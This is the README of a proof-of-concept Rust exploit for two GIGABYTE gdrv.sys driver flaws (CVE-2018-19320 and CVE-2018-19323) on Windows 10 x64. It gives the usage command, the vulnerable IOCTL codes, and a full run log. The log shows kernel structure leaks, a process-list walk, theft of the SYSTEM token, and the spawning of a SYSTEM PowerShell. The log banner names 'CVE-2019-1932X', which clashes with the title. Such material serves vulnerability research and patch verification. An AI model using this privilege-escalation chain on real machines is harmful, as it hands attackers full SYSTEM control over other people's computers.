CVE-2018-1932X ( Rust Exploit POC) for GIGABYTE APP Center v1.05.21 and earlier

Just because your target is memory unsafe doesn't mean your exploit has to be!

Vulnerabilities used :

• CVE-2018-19320 - ring0 memcpy-like functionality
• CVE-2018-19323 - read and write Machine Specific Registers (MSRs).

Tested on:

• 20H1: Windows 10 Kernel Version 19041 MP (1 procs) Free x64

References

• Vergilius Project: Kernel Structs
• Gigabyte Patch Announcement
• _KPCR Details

Requirements

• x64 only
• Tested Build #'s above
• Loaded GIGABYTE Driver: gdrv.sys

Usage

.\CVE-2018-1932X.exe

Example

PS Z:\CVE-2018-1932X\target\debug> .\CVE-2018-1932X.exe
CVE-2019-1932X

Opening Handle to Kernel Driver: \\.\GIO
Acquired Handle: 0xa8
Sending IOCTL: 0xc3502580 with 0x10 bytes of data
  [+] Leaked   _KPCR: ffffe48159d88000
  [*] Address  _KPCRB: ffffe48159d88020
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _KPRCB: ffffe48159d88180
  [*] Address  _KTHREAD: ffffe48159d88188
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _KTHREAD: ffffb50b14d16080
  [*] Address  _KPROCESS: ffffb50b14d162a0
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _KPROCESS: ffffb50b1507f080
  [*] Address  PID: ffffb50b1507f4c0
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   PID: 2092
  [+] Known    PID: 2092
Walking Active Process Links...
  [*] Address  ActiveProcessLinks.Flink: ffffb50b1507f4c8 (PID: 82c)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _EPROCESS: fffff8015561e060 (PID: 0)
  [*] Address  ActiveProcessLinks.Flink: fffff8015561e060 (PID: 0)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _EPROCESS: ffffb50b100624c8 (PID: 4)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Current Token: ffff9708cac8306e
  [+] System  Token: ffff9708c567b047
Borrowing SYSTEM Token...
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Current Token: ffff9708c567b047
Spawning Process...
  [+] Spawned SYSTEM Process
Closing Handle to Kernel Driver: \\.\GIO

Spawned Powershell:

PS C:\> whoami
nt authority\system

Vulnerable Blocks

Memcpy (IOCTL 0x0C3502808)

MSR Manipulation (IOCTL 0x0C3502580)